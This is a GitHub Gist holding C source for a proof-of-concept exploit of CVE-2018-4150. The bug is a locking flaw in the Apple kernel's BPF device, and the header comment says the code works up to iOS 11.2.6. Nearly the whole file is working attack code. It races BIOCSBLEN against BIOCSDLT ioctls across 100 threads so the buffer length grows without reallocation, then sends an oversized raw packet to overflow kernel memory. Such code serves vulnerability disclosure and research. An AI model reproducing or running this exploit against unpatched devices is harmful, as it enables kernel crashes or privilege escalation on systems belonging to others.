Created
May 12, 2018 14:28
-
-
Save twodayslate/44fbecb41bdfbd40bb2a832180f56ff1 to your computer and use it in GitHub Desktop.
CVE-2018-4150 POC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Dodgy POC for my CVE-2018-4150 bug - @cmwdotme | |
* | |
* Bad locking lets you use BIOCSDLT and race BIOCSBLEN to increase the length without | |
* increasing/reallocating the buffer.. which lets you overflow ;) Should work up to iOS 11.2.6 | |
* | |
*/ | |
#include <fcntl.h> | |
#include <pthread.h> | |
#include <stdbool.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <mach/mach.h> | |
#include <arpa/inet.h> | |
#include <net/bpf.h> | |
#include <net/ethernet.h> | |
#include <net/if.h> | |
#include <netinet/ip.h> | |
#include <netinet/tcp.h> | |
#include <sys/ioctl.h> | |
#include <sys/mman.h> | |
#include <sys/socket.h> | |
#include <sys/sysctl.h> | |
#include <sys/types.h> | |
#include <sys/ucontext.h> | |
#include <sys/uio.h> | |
#include <pthread.h> | |
#include <unistd.h> | |
#include <stdio.h> | |
#include <semaphore.h> | |
#include <gethostuuid.h> | |
#include <sys/fcntl.h> | |
#include <sys/proc_info.h> | |
#include <libproc.h> | |
static int rip_sock; | |
static int bpf; | |
static void init_rip_sock(void) | |
{ | |
uint32_t maxdgram = 0; | |
size_t len = sizeof(maxdgram); | |
uint32_t maxdgramnew = (1024*900); | |
size_t lennew = sizeof(maxdgram); | |
// Set the max dgram buf to 900k | |
if (sysctlbyname("net.inet.raw.maxdgram", &maxdgram, &len, &maxdgramnew, len) < 0) { | |
perror("sysctl error\n"); | |
exit(1); | |
} | |
rip_sock = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW); | |
if (rip_sock == -1) { | |
perror("socket"); | |
exit(1); | |
} | |
} | |
static void send_rip_packet(const void *packet, size_t packet_len) | |
{ | |
struct sockaddr_in6 dest = { 0 }; | |
dest.sin6_family = AF_INET6; | |
memcpy(&dest.sin6_addr.s6_addr, &in6addr_loopback, sizeof(dest.sin6_addr.s6_addr)); | |
dest.sin6_port = 0; | |
if (sendto(rip_sock, packet, packet_len, 0, (struct sockaddr *) &dest, sizeof(dest)) != packet_len) { | |
perror("send_rip_packet"); | |
exit(1); | |
} | |
} | |
static int lock_thread = 1; | |
static int complete = 0; | |
static void init_bpf() | |
{ | |
bpf = open("/dev/bpf3", O_RDWR); | |
if(bpf == -1) { | |
perror("open bpf"); | |
exit(1); | |
} | |
int one = 1; | |
if(ioctl(bpf, BIOCIMMEDIATE, &one) == -1 ) { | |
perror("ioctl BIOCIMMEDIATE"); | |
exit(1); | |
} | |
} | |
static void alloc_bpf_buffer(const char *interface) | |
{ | |
int hlen = 64; | |
// set buffer length to 64 | |
if (ioctl(bpf, BIOCSBLEN, &hlen) == -1) { | |
perror("ioctl BIOCSBLEN"); | |
exit(1); | |
} | |
int blen = 0; | |
if (ioctl(bpf, BIOCGBLEN, &blen) < 0) { | |
perror("ioctl(BIOCGBLEN)"); | |
} | |
printf("attaching interface with size of %d\n", blen); | |
struct ifreq bound_if; | |
strcpy(bound_if.ifr_name, interface); | |
if(ioctl(bpf, BIOCSETIF, &bound_if) == -1) { | |
perror("ioctl BIOCSETIF"); | |
exit(1); | |
} | |
} | |
void set_bpf_length(void) | |
{ | |
int hlen = 4096; | |
// set buffer length to 4096. The allocated buffer length is 64. | |
ioctl(bpf, BIOCSBLEN, &hlen); | |
int blen = 0; | |
ioctl(bpf, BIOCGBLEN, &blen); | |
if(blen == hlen) { | |
fprintf(stderr, "set length: %d and hlen: %d\n", blen, hlen); | |
complete = 1; | |
pthread_exit(NULL); | |
} | |
} | |
void *race_detach(void *data) | |
{ | |
while(1) { | |
set_bpf_length(); | |
} | |
} | |
int main(void) | |
{ | |
char *interface = "en0"; | |
#define NUM_THREADS 100 | |
pthread_t threads[NUM_THREADS]; | |
init_rip_sock(); | |
init_bpf(); | |
alloc_bpf_buffer(interface); | |
int t=0; | |
for(t=0;t<NUM_THREADS;t++){ | |
if(pthread_create(&threads[t], NULL, race_detach, NULL)) { | |
fprintf(stderr, "Error creating thread\n"); | |
return 1; | |
} | |
} | |
int promiscuous = 1; | |
if( ioctl(bpf, BIOCPROMISC, &promiscuous) == -1){ | |
perror("BIOCPROMISC"); | |
} | |
unsigned int dlt = 1; | |
while(1) { | |
if (ioctl(bpf, BIOCSDLT, &dlt) == 0) { | |
printf("%d worked\n", dlt); | |
} | |
if(complete) { | |
unsigned int packet_len = 1024*900; | |
unsigned char *packet = malloc(packet_len); | |
memset(packet, 0xff, packet_len); | |
printf("sending rip packet\n"); | |
send_rip_packet(packet, packet_len); | |
} | |
// try another link layer option | |
dlt++; | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment